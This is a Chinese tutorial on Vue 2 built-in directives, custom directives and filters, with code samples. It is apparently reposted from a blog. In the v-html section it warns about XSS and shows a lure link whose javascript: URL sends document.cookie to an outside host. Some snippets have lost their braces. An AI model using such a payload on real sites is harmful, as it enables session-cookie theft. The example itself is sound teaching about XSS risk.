Vue 内置指令自定义指令过滤器
Posted YuLong~W
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Vue 内置指令自定义指令过滤器相关的知识，希望对你有一定的参考价值。
文章目录
内置指令
复习之前所学指令：
- v-bind：单向绑定解析表达式, 可简写为 :xxx
- v-model： 双向数据绑定
- v-for：遍历数组/对象/字符串
- v-on：绑定事件监听, 可简写为@
- v-if： 条件渲染（动态控制节点是否存存在）
- v-else：条件渲染（动态控制节点是否存存在）
- v-show：条件渲染 (动态控制节点是否展示)
v-text指令
- 作用：向其所在的节点中渲染文本内容
- 与插值语法的区别：v-text会替换掉节点中的内容，xx则不会
<body>
<div id="root">
<div>你好，name</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue(
el:'#root',
data:
name:'zhangsan',
str:'<h3>你好啊！</h3>'
)
</script>
v-html指令
- 作用：向指定节点中渲染包含html结构的内容
- 与插值语法的区别：
- v-html会替换掉节点中所有的内容，xx则不会
- v-html可以识别html结构
- 严重注意：v-html有安全性问题
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
- 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上
<body>
<div id="root">
<div>你好，name</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue(
el:'#root',
data:
name:'',
str:'<h3>你好啊！</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
)
</script>
v-cloak指令
- 本质是一个特殊属性（没有值），Vue实例创建完毕并接管容器后，会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时页面展示出xxx的问题
<style>
[v-cloak]
display:none;
</style>
<body>
<div id="root">
<h2 v-cloak>name</h2>
</div>
<script type="text/javascript" src="./vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue(
el:'#root',
data:
name:'尚硅谷'
)
</script>
v-once指令
- .v-once所在节点在 初次动态渲染 后，就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能
<body>
<div id="root">
<h2 v-once>初始化的n值是:n</h2>
<h2>当前的n值是:n</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue(
el:'#root',
data:
n:1
)
</script>
v-pre指令
- 跳过其所在节点的编译过程
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
<body>
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:n</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue(
el:'#root',
data:
n:1
)
</script>
自定义指令
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
定义语法：
1、局部指令：
new Vue(
directives指令名:回调函数
)
或
new Vue(
directives:指令名:配置对象
)
2、全局指令：
Vue.directive(指令名,配置对象)
或
Vue.directive(指令名,回调函数)
配置对象中常用的3个回调：
- bind：指令与元素成功绑定时调用
- inserted：指令所在元素被插入页面时调用
- update：指令所在模板结构被重新解析时调用
实现：
需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
<body>
<div id="root">
<h2>name</h2>
<h2>当前的n值是：<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
/* Vue.directive('fbind',
//指令与元素成功绑定时（一上来）
bind(element,binding)
element.value = binding.value
,
//指令所在元素被插入页面时
inserted(element,binding)
element.focus()
,
//指令所在的模板被重新解析时
update(element,binding)
element.value = binding.value
) */
new Vue(
el:'#root',
data:
name:'乌拉拉',
n:1
,
directives:
/*big函数何时会被调用？
1.指令与元素成功绑定时（一上来）。
2.指令所在的模板被重新解析时。
*/
big(element,binding)
console.log('big',this) //注意此处的this是window
// console.log('big')
element.innerText = binding.value * 10
,
//使用big-number作为指令名
/* 'big-number'(element,binding)
element.innerText = binding.value * 10
, */
fbind:
//指令与元素成功绑定时（一上来）
bind(element,binding)
element.value = binding.value
,
//指令所在元素被插入页面时
inserted(element,binding)
element.focus()
,
//指令所在的模板被重新解析时
update(element,binding)
element.value = binding.value
)
</script>
备注：
- 指令定义时不加v-，但使用时要加v-
- 指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名
过滤器
定义： 过滤器（Filters）是 vue 为开发者提供的功能，常用于文本的格式化。对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）
语法：
- 注册过滤器：全局
Vue.filter(name,callback)或 局部new Vuefilters: - 使用过滤器：
xxx | 过滤器名或v-bind:属性 = "xxx | 过滤器名"(很少)
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是：fmtTime</h3>
<!-- methods实现 -->
<h3>现在是：getFmtTime()</h3>
<!-- 过滤器实现 -->
<h3>现在是：time | timeFormater</h3>
<!-- 过滤器实现（传参） -->
<h3>现在是：time | timeFormater('YYYY_MM_DD') | mySlice</h3>
<h3 :x="msg | mySlice">乌拉拉</h3>
</div>
<div id="root2">
<h2>msg | mySlice</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//全局过滤器
Vue.filter('mySlice',function(value)
return value.slice(0,4)
)
new Vue(
el:'#root',
data:
time:+new Date(), //时间戳
msg:'你好，乌拉拉'
,
computed:
fmtTime()
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
,
methods:
getFmtTime()
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
,
//局部过滤器
filters:
timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss')
return dayjs(value).format(str)
)
new Vue(
el:'#root2',
data:
msg:'hello,wulala!'
)
</script>
备注：
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据, 是产生新的对应的数据
过滤器的兼容性：
过滤器仅在 vue 2.x 和 1.x 中受支持，在 vue 3.x 的版本中剔除了过滤器相关的功能。
在企业级项目开发中：
- 如果使用的是 2.x 版本的 vue，则依然可以使用过滤器相关的功能
- 如果项目已经升级到了 3.x 版本的 vue，官方建议使用计算属性或方法代替被剔除的过滤器功能
以上是关于Vue 内置指令自定义指令过滤器的主要内容，如果未能解决你的问题，请参考以下文章